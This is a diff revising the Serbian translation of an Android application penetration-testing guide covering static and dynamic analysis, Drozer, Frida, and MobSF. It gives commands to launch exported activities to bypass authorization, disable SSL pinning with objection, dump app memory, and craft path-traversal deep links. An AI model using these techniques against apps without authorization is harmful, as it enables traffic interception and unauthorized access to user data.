@ -177,7 +177,7 @@ Pročitajte sledeću stranicu da biste saznali kako lako pristupiti C# kodu xama
|
||||
|
||||
### Superpakovane Aplikacije
|
||||
|
||||
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpakovane su Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.**
|
||||
Prema ovom [**blog postu**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/), superpakovane su Meta algoritam koji kompresuje sadržaj aplikacije u jedan fajl. Blog govori o mogućnosti kreiranja aplikacije koja dekompresuje ovakve aplikacije... i bržem načinu koji uključuje **izvršavanje aplikacije i prikupljanje dekompresovanih fajlova iz datotečnog sistema.**
|
||||
|
||||
### Automatizovana Staticka Analiza Koda
|
||||
|
||||
@ -189,7 +189,7 @@ Sa ovim znanjem, **mariana-trench će pregledati kod i pronaći moguće ranjivos
|
||||
|
||||
Aplikacija može sadržati tajne (API ključeve, lozinke, skrivene URL-ove, poddomene...) unutar nje koje biste mogli otkriti. Možete koristiti alat kao što je [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks).
|
||||
|
||||
### Zaobilaženje Biometrijske Autentifikacije
|
||||
### Obilaženje Biometrijske Autentifikacije
|
||||
|
||||
{{#ref}}
|
||||
bypass-biometric-authentication-android.md
|
||||
@ -214,7 +214,7 @@ content-protocol.md
|
||||
|
||||
## Dinamička Analiza
|
||||
|
||||
> Prvo, potrebna vam je okruženje gde možete instalirati aplikaciju i sve okruženje (Burp CA cert, Drozer i Frida uglavnom). Stoga, uređaj sa root-om (emuliran ili ne) je izuzetno preporučen.
|
||||
> Prvo, potrebna vam je okruženje gde možete instalirati aplikaciju i sve okruženje (Burp CA cert, Drozer i Frida uglavnom). Stoga, root-ovan uređaj (emuliran ili ne) je izuzetno preporučen.
|
||||
|
||||
### Online Dinamička analiza
|
||||
|
||||
@ -228,7 +228,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
|
||||
|
||||
### Lokalna Dinamička Analiza
|
||||
|
||||
#### Korišćenje emulatore
|
||||
#### Korišćenje emulatora
|
||||
|
||||
- [**Android Studio**](https://developer.android.com/studio) (Možete kreirati **x86** i **arm** uređaje, a prema [**ovome**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**najnovijim x86** verzijama **podržavaju ARM biblioteke** bez potrebe za sporim arm emulatorom).
|
||||
- Naučite kako da ga postavite na ovoj stranici:
|
||||
@ -237,7 +237,7 @@ Zahvaljujući ADB konekciji možete koristiti **Drozer** i **Frida** unutar emul
|
||||
avd-android-virtual-device.md
|
||||
{{#endref}}
|
||||
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA** _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Besplatna verzija:** Personal Edition, morate kreirati nalog. _Preporučuje se da **preuzmete** verziju **SA**_ _**VirtualBox** da biste izbegli potencijalne greške._)
|
||||
- [**Nox**](https://es.bignox.com) (Besplatno, ali ne podržava Frida ili Drozer).
|
||||
|
||||
> [!NOTE]
|
||||
@ -266,11 +266,11 @@ Morate aktivirati **debugging** opcije i bilo bi dobro ako možete **root-ovati*
|
||||
|
||||
**Logovanje**
|
||||
|
||||
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Preporučuju se alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
Programeri bi trebali biti oprezni da ne izlažu **informacije za debagovanje** javno, jer to može dovesti do curenja osetljivih podataka. Alati [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` se preporučuju za praćenje logova aplikacije kako bi se identifikovale i zaštitile osetljive informacije. **Pidcat** je omiljen zbog svoje jednostavnosti korišćenja i čitljivosti.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da od **novijih verzija Android-a 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
|
||||
> Ipak, i dalje se preporučuje da **ne logujete osetljive informacije**.
|
||||
> Imajte na umu da od **novijih verzija od Android 4.0**, **aplikacije mogu pristupiti samo svojim logovima**. Dakle, aplikacije ne mogu pristupiti logovima drugih aplikacija.\
|
||||
> U svakom slučaju, i dalje se preporučuje da **ne logujete osetljive informacije**.
|
||||
|
||||
**Keširanje Copy/Paste Bafera**
|
||||
|
||||
@ -278,7 +278,7 @@ Androidov **okvir zasnovan na clipboard-u** omogućava funkcionalnost kopiranja
|
||||
|
||||
**Logovi Rušenja**
|
||||
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti poslati preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
Ako aplikacija **pada** i **čuva logove**, ovi logovi mogu pomoći napadačima, posebno kada aplikaciju nije moguće obrnuti inženjering. Da biste umanjili ovaj rizik, izbegavajte logovanje prilikom rušenja, a ako logovi moraju biti preneseni preko mreže, osigurajte da se šalju putem SSL kanala radi sigurnosti.
|
||||
|
||||
Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
@ -286,12 +286,12 @@ Kao pentester, **pokušajte da pogledate ove logove**.
|
||||
|
||||
Aplikacije često integrišu usluge poput Google Adsense, što može nenamerno **procuriti osetljive podatke** zbog nepravilne implementacije od strane programera. Da biste identifikovali potencijalna curenja podataka, preporučuje se da **presretnete saobraćaj aplikacije** i proverite da li se šalju osetljive informacije trećim stranama.
|
||||
|
||||
### SQLite DBs
|
||||
### SQLite DB-ovi
|
||||
|
||||
Većina aplikacija će koristiti **internu SQLite baze podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Većina aplikacija će koristiti **internu SQLite bazu podataka** za čuvanje informacija. Tokom pentesta obratite pažnju na **baze podataka** koje su kreirane, imena **tabela** i **kolona** i sve **podatke** koji su sačuvani jer biste mogli pronaći **osetljive informacije** (što bi bila ranjivost).\
|
||||
Baze podataka bi trebale biti locirane u `/data/data/the.package.name/databases` kao `/data/data/com.mwr.example.sieve/databases`.
|
||||
|
||||
Ako baza podataka čuva poverljive informacije i je **šifrovana** ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
|
||||
Ako baza podataka čuva poverljive informacije i je **šifrovana**, ali možete **pronaći** **lozinku** unutar aplikacije, to je i dalje **ranjivost**.
|
||||
|
||||
Enumerišite tabele koristeći `.tables` i enumerišite kolone tabela koristeći `.schema <table_name>`.
|
||||
|
||||
@ -305,20 +305,20 @@ Drozer je koristan alat za **eksploataciju eksportovanih aktivnosti, eksportovan
|
||||
[**Pročitajte ovo ako želite da osvežite šta je Android Aktivnost.**](android-applications-basics.md#launcher-activity-and-other-activities)\
|
||||
Takođe zapamtite da kod aktivnosti počinje u **`onCreate`** metodi.
|
||||
|
||||
**Zaobilaženje autorizacije**
|
||||
**Obilaženje autorizacije**
|
||||
|
||||
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **zaobići** **mehanizme autentifikacije** **da biste joj pristupili.**
|
||||
Kada je Aktivnost eksportovana, možete pozvati njen ekran iz spoljne aplikacije. Stoga, ako je aktivnost sa **osetljivim informacijama** **eksportovana**, mogli biste **obići** **mehanizme autentifikacije** **da biste joj pristupili.**
|
||||
|
||||
[**Naučite kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
[**Saznajte kako da eksploatišete eksportovane aktivnosti sa Drozer-om.**](drozer-tutorial/index.html#activities)
|
||||
|
||||
Takođe možete pokrenuti eksportovanu aktivnost iz adb:
|
||||
|
||||
- PackageName je com.example.demo
|
||||
- Exported ActivityName je com.example.test.MainActivity
|
||||
- ImePaketa je com.example.demo
|
||||
- Eksportovana Aktivnost je com.example.test.MainActivity
|
||||
```bash
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NAPOMENA**: MobSF će detektovati kao zlonamerno korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je ovo opasno samo na starim verzijama (API verzije < 21).
|
||||
**NAPOMENA**: MobSF će detektovati kao zlonameran korišćenje _**singleTask/singleInstance**_ kao `android:launchMode` u aktivnosti, ali zbog [ovoga](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), očigledno je da je ovo opasno samo na starim verzijama (API verzije < 21).
|
||||
|
||||
> [!NAPOMENA]
|
||||
> Imajte na umu da zaobilaženje autorizacije nije uvek ranjivost, to zavisi od načina na koji zaobilaženje funkcioniše i koje informacije su izložene.
|
||||
@ -362,7 +362,7 @@ Možete **otvoriti** deklarisani **scheme** koristeći **adb** ili **pregledač*
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Napomena da možete **izostaviti ime paketa** i mobilni uređaj će automatski pozvati aplikaciju koja treba da otvori tu vezu._
|
||||
```markup
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
@ -381,9 +381,9 @@ Svaki put kada pronađete deep link, proverite da **ne prima osetljive podatke (
|
||||
**Parametri u putanji**
|
||||
|
||||
Trebalo bi da **proverite i da li neki deep link koristi parametar unutar putanje** URL-a kao što je: `https://api.example.com/v1/users/{username}`, u tom slučaju možete primorati putanju da pređe na nešto poput: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da modifikujete korisničke podatke bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Imajte na umu da ako pronađete ispravne krajnje tačke unutar aplikacije, možda ćete moći da izazovete **Open Redirect** (ako je deo putanje korišćen kao naziv domena), **preuzimanje naloga** (ako možete da izmenite podatke o korisnicima bez CSRF tokena i ranjiva krajnja tačka koristi ispravnu metodu) i bilo koju drugu ranjivost. Više [informacija o ovome ovde](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Više primera**
|
||||
**Još primera**
|
||||
|
||||
Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o linkovima (_/.well-known/assetlinks.json_).
|
||||
|
||||
@ -391,7 +391,7 @@ Jedan [zanimljiv izveštaj o bug bounty](https://hackerone.com/reports/855618) o
|
||||
|
||||
- **Sertifikati se ne proveravaju uvek pravilno** od strane Android aplikacija. Uobičajeno je da ove aplikacije zanemaruju upozorenja i prihvataju samopotpisane sertifikate ili, u nekim slučajevima, vraćaju se na korišćenje HTTP veza.
|
||||
- **Pregovori tokom SSL/TLS rukovanja su ponekad slabi**, koristeći nesigurne kriptografske suite. Ova ranjivost čini vezu podložnom napadima čoveka u sredini (MITM), omogućavajući napadačima da dekriptuju podatke.
|
||||
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili korisnički podaci, od presretanja od strane zlonamernih entiteta.
|
||||
- **Curjenje privatnih informacija** je rizik kada aplikacije autentifikuju koristeći sigurne kanale, ali zatim komuniciraju preko nesigurnih kanala za druge transakcije. Ovaj pristup ne štiti osetljive podatke, kao što su kolačići sesije ili podaci o korisnicima, od presretanja od strane zlonamernih entiteta.
|
||||
|
||||
#### Verifikacija sertifikata
|
||||
|
||||
@ -403,18 +403,18 @@ SSL Pinning je mera sigurnosti gde aplikacija proverava sertifikat servera u odn
|
||||
|
||||
#### Inspekcija saobraćaja
|
||||
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instaliranja ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
Da biste inspekciju HTTP saobraćaja, potrebno je **instalirati sertifikat alata za proxy** (npr. Burp). Bez instalacije ovog sertifikata, šifrovani saobraćaj možda neće biti vidljiv kroz proxy. Za vodič o instalaciji prilagođenog CA sertifikata, [**kliknite ovde**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
|
||||
|
||||
Aplikacije koje ciljaju **API nivo 24 i više** zahtevaju izmene u Network Security Config-u kako bi prihvatile CA sertifikat proksija. Ovaj korak je ključan za inspekciju šifrovanog saobraćaja. Za uputstva o izmeni Network Security Config-a, [**pogledajte ovaj tutorijal**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
#### Obilaženje SSL Pinning-a
|
||||
#### Zaobilaženje SSL Pinning-a
|
||||
|
||||
Kada je SSL Pinning implementiran, obilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu:
|
||||
Kada je SSL Pinning implementiran, zaobilaženje postaje neophodno za inspekciju HTTPS saobraćaja. Različite metode su dostupne za ovu svrhu:
|
||||
|
||||
- Automatski **modifikujte** **apk** da **obidje** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je to što vam neće biti potrebna root privilegija da obidjete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, i to ne mora uvek da funkcioniše.
|
||||
- Možete koristiti **Frida** (o kojoj se govori u nastavku) da obidjete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Takođe možete pokušati da **automatski obidjete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku)
|
||||
- Automatski **modifikujte** **apk** da **zaobiđe** SSLPinning koristeći [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Najveća prednost ove opcije je to što vam neće biti potrebna root privilegija da zaobiđete SSL Pinning, ali ćete morati da obrišete aplikaciju i ponovo instalirate novu, a to ne mora uvek da funkcioniše.
|
||||
- Možete koristiti **Frida** (o kojoj se govori u nastavku) da zaobiđete ovu zaštitu. Ovde imate vodič za korišćenje Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Takođe možete pokušati da **automatski zaobiđete SSL Pinning** koristeći **MobSF dinamičku analizu** (objašnjeno u nastavku)
|
||||
- Ako i dalje mislite da postoji neki saobraćaj koji ne hvata, možete pokušati da **prosledite saobraćaj do burp-a koristeći iptables**. Pročitajte ovaj blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Traženje uobičajenih web ranjivosti
|
||||
@ -425,17 +425,17 @@ Važno je takođe tražiti uobičajene web ranjivosti unutar aplikacije. Detaljn
|
||||
|
||||
[Frida](https://www.frida.re) je alat za dinamičku instrumentaciju za programere, inženjere obrnutog inženjeringa i istraživače bezbednosti.\
|
||||
**Možete pristupiti pokrenutim aplikacijama i povezati metode u vreme izvođenja kako biste promenili ponašanje, promenili vrednosti, izvukli vrednosti, izvršili različit kod...**\
|
||||
Ako želite da testirate Android aplikacije, morate znati kako koristiti Frida.
|
||||
Ako želite da testirate bezbednost Android aplikacija, morate znati kako koristiti Frida.
|
||||
|
||||
- Naučite kako koristiti Frida: [**Frida tutorijal**](frida-tutorial/index.html)
|
||||
- Neki "GUI" za akcije sa Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection je odličan za automatizaciju korišćenja Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Možete pronaći neke sjajne Frida skripte ovde: [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Pokušajte da obidjete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
- Pokušajte da zaobiđete mehanizme protiv debagovanja / anti-frida učitavanjem Frida kao što je naznačeno u [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (alat [linjector](https://github.com/erfur/linjector-rs))
|
||||
|
||||
### **Dump Memorije - Fridump**
|
||||
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemotehničke asocijacije.
|
||||
Proverite da li aplikacija čuva osetljive informacije unutar memorije koje ne bi trebala da čuva, kao što su lozinke ili mnemoničke fraze.
|
||||
|
||||
Korišćenjem [**Fridump3**](https://github.com/rootbsd/fridump3) možete dumpovati memoriju aplikacije sa:
|
||||
```bash
|
||||
@ -474,7 +474,7 @@ Međutim, ako ovaj snimak sadrži **osetljive informacije**, neko ko ima pristup
|
||||
|
||||
Snimci se obično čuvaju na: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući njegovo pojavljivanje u snimcima ekrana ili pregled na nesigurnim ekranima.
|
||||
Android pruža način da se **spreči hvatanje ekrana postavljanjem FLAG_SECURE** parametra rasporeda. Korišćenjem ove oznake, sadržaj prozora se tretira kao siguran, sprečavajući da se pojavi na snimcima ekrana ili da se vidi na nesigurnim ekranima.
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -484,16 +484,16 @@ Ovaj alat može pomoći u upravljanju različitim alatima tokom dinamičke anali
|
||||
|
||||
### Intent Injection
|
||||
|
||||
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i emitovani prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
Programeri često kreiraju proxy komponente kao što su aktivnosti, servisi i prijemnici koji obrađuju ove Intente i prosleđuju ih metodama kao što su `startActivity(...)` ili `sendBroadcast(...)`, što može biti rizično.
|
||||
|
||||
Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih injekcija Intenta.
|
||||
Opasnost leži u omogućavanju napadačima da aktiviraju neizvezene komponente aplikacije ili pristupe osetljivim provajderima sadržaja preusmeravanjem ovih Intenta. Značajan primer je `WebView` komponenta koja konvertuje URL-ove u `Intent` objekte putem `Intent.parseUri(...)` i zatim ih izvršava, što može dovesti do zlonamernih Intent injekcija.
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection** je sličan problemu Open Redirect na webu.
|
||||
- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji se mogu preusmeriti da izvrše nesigurne operacije.
|
||||
- Eksploati uključuju prosleđivanje `Intent` objekata kao dodataka, koji mogu biti preusmereni da izvrše nesigurne operacije.
|
||||
- Može izložiti neizvezene komponente i provajdere sadržaja napadačima.
|
||||
- Konverzija URL-a u `Intent` od strane `WebView` može olakšati nepredviđene radnje.
|
||||
- Konverzija URL-a u `Intent` u `WebView` može olakšati nepredviđene radnje.
|
||||
|
||||
### Android Client Side Injections and others
|
||||
|
||||
@ -532,13 +532,13 @@ MobSF takođe omogućava **diff/Compare** analizu i integraciju sa **VirusTotal*
|
||||
|
||||
- **Dump podataka aplikacije** (URL-ovi, logovi, clipboard, screenshot-ovi koje ste napravili, screenshot-ovi napravljeni od strane "**Exported Activity Tester**", emailovi, SQLite baze podataka, XML datoteke i druge kreirane datoteke). Sve ovo se radi automatski osim za screenshot-ove, treba da pritisnete kada želite screenshot ili treba da pritisnete "**Exported Activity Tester**" da dobijete screenshot-ove svih eksportovanih aktivnosti.
|
||||
- Zabeleži **HTTPS saobraćaj**
|
||||
- Koristi **Frida** za dobijanje **runtime** **informacija**
|
||||
- Koristi **Frida** da dobije **runtime** **informacije**
|
||||
|
||||
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **zapisivanje** saobraćaja. Zabeležiće samo saobraćaj iz testirane aplikacije.
|
||||
Od android **verzija > 5**, automatski će **pokrenuti Frida** i postaviće globalne **proxy** postavke za **hvatanje** saobraćaja. Hvataće samo saobraćaj iz testirane aplikacije.
|
||||
|
||||
**Frida**
|
||||
|
||||
Po defaultu, takođe će koristiti neke Frida skripte za **obići SSL pinning**, **detekciju root-a** i **detekciju debagera** i za **monitorisanje interesantnih API-ja**.\
|
||||
Po defaultu, takođe će koristiti neke Frida skripte da **obiđe SSL pinning**, **detekciju root-a** i **detekciju debagera** i da **prati zanimljive API-je**.\
|
||||
MobSF takođe može **pozvati eksportovane aktivnosti**, uhvatiti **screenshot-ove** njih i **sačuvati** ih za izveštaj.
|
||||
|
||||
Da **počnete** dinamičko testiranje pritisnite zeleni dugme: "**Start Instrumentation**". Pritisnite "**Frida Live Logs**" da vidite logove generisane Frida skriptama i "**Live API Monitor**" da vidite sve pozive ka uhvaćenim metodama, prosleđene argumente i vraćene vrednosti (ovo će se pojaviti nakon pritiska na "Start Instrumentation").\
|
||||
@ -553,9 +553,9 @@ Pored toga, imate neke pomoćne Frida funkcionalnosti:
|
||||
- **Capture String Comparisons**: Može biti veoma korisno. **Prikazaće 2 stringa koja se upoređuju** i da li je rezultat bio True ili False.
|
||||
- **Enumerate Class Methods**: Unesite ime klase (kao "java.io.File") i ispisuje sve metode klase.
|
||||
- **Search Class Pattern**: Pretražuje klase po obrascu
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko interesantnih Android API metoda.
|
||||
- **Trace Class Methods**: **Prati** celu **klasu** (vidi ulaze i izlaze svih metoda klase). Zapamtite da po defaultu MobSF prati nekoliko zanimljivih Android API metoda.
|
||||
|
||||
Kada izaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
Kada odaberete pomoćni modul koji želite da koristite, treba da pritisnete "**Start Instrumentation**" i videćete sve izlaze u "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPER je aplikacija za komandnu liniju koja se može koristiti na Windows, MacOS X i Linux, koja analizira _.apk_ datoteke u potrazi za ranjivostima. To radi dekompresovanjem APK-ova i primenom niza pravila za otkrivanje tih ranjivosti.
|
||||
|
||||
Sva pravila su fokusirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
Sva pravila su centrirana u `rules.json` datoteci, a svaka kompanija ili tester može kreirati svoja pravila za analizu onoga što im je potrebno.
|
||||
|
||||
Preuzmite najnovije binarne datoteke sa [strane za preuzimanje](https://superanalyzer.rocks/download.html)
|
||||
```
|
||||
@ -627,7 +627,7 @@ super-analyzer {apk_file}
|
||||
|
||||
.png>)
|
||||
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima u izvođenju [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
StaCoAn je **crossplatform** alat koji pomaže programerima, lovcima na greške i etičkim hakerima da izvrše [static code analysis](https://en.wikipedia.org/wiki/Static_program_analysis) na mobilnim aplikacijama.
|
||||
|
||||
Koncept je da prevučete i ispustite datoteku vaše mobilne aplikacije (datoteka .apk ili .ipa) na StaCoAn aplikaciju i ona će generisati vizuelni i prenosivi izveštaj za vas. Možete prilagoditi postavke i liste reči kako biste dobili prilagođeno iskustvo.
|
||||
|
||||
@ -657,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
||||
|
||||
.png>)
|
||||
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza Framework. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da olakša ovaj zadatak i učini ga prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
**MARA** je **M**obila **A**plikacija **R**everzno inženjerstvo i **A**naliza okvir. To je alat koji okuplja često korišćene alate za reverzno inženjerstvo i analizu mobilnih aplikacija, kako bi pomogao u testiranju mobilnih aplikacija protiv OWASP mobilnih bezbednosnih pretnji. Njegov cilj je da ovu zadatak učini lakšim i prijatnijim za programere mobilnih aplikacija i stručnjake za bezbednost.
|
||||
|
||||
Može da:
|
||||
|
||||
@ -672,9 +672,9 @@ Može da:
|
||||
|
||||
Koristan za otkrivanje malvera: [https://koodous.com/](https://koodous.com)
|
||||
|
||||
## Obfuskacija/Deobfuskacija koda
|
||||
## Obfuscating/Deobfuscating code
|
||||
|
||||
Imajte na umu da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
Napomena da zavisno od usluge i konfiguracije koju koristite za obfuskaciju koda. Tajne mogu ili ne moraju biti obfuskirane.
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
@ -691,7 +691,7 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
|
||||
- učitati resurs kao InputStream;
|
||||
- proslediti rezultat klasi koja nasleđuje FilterInputStream da bi ga dekriptovali;
|
||||
- uraditi neku beskorisnu obfuskaciju da bi se izgubilo nekoliko minuta vremena od reverzera;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX fajl;
|
||||
- proslediti dekriptovani rezultat ZipInputStream-u da bi dobili DEX datoteku;
|
||||
- konačno učitati dobijeni DEX kao Resurs koristeći metodu `loadDex`.
|
||||
|
||||
### [DeGuard](http://apk-deguard.com)
|
||||
@ -700,27 +700,27 @@ Pronađite vodič korak po korak za deobfuskaciju apk-a na [https://blog.lexfo.f
|
||||
|
||||
Možete da otpremite obfuskovani APK na njihovu platformu.
|
||||
|
||||
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
Ovo je LLM alat za pronalaženje potencijalnih bezbednosnih ranjivosti u android aplikacijama i deobfuskaciju koda android aplikacija. Koristi Google-ov javni API Gemini.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da bi razumeo njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
|
||||
To je **generički android deobfuskator.** Simplify **virtuelno izvršava aplikaciju** da razume njeno ponašanje i zatim **pokušava da optimizuje kod** tako da se ponaša identično, ali je lakše za razumevanje ljudima. Svaka vrsta optimizacije je jednostavna i generička, tako da nije važno koja specifična vrsta obfuskacije se koristi.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
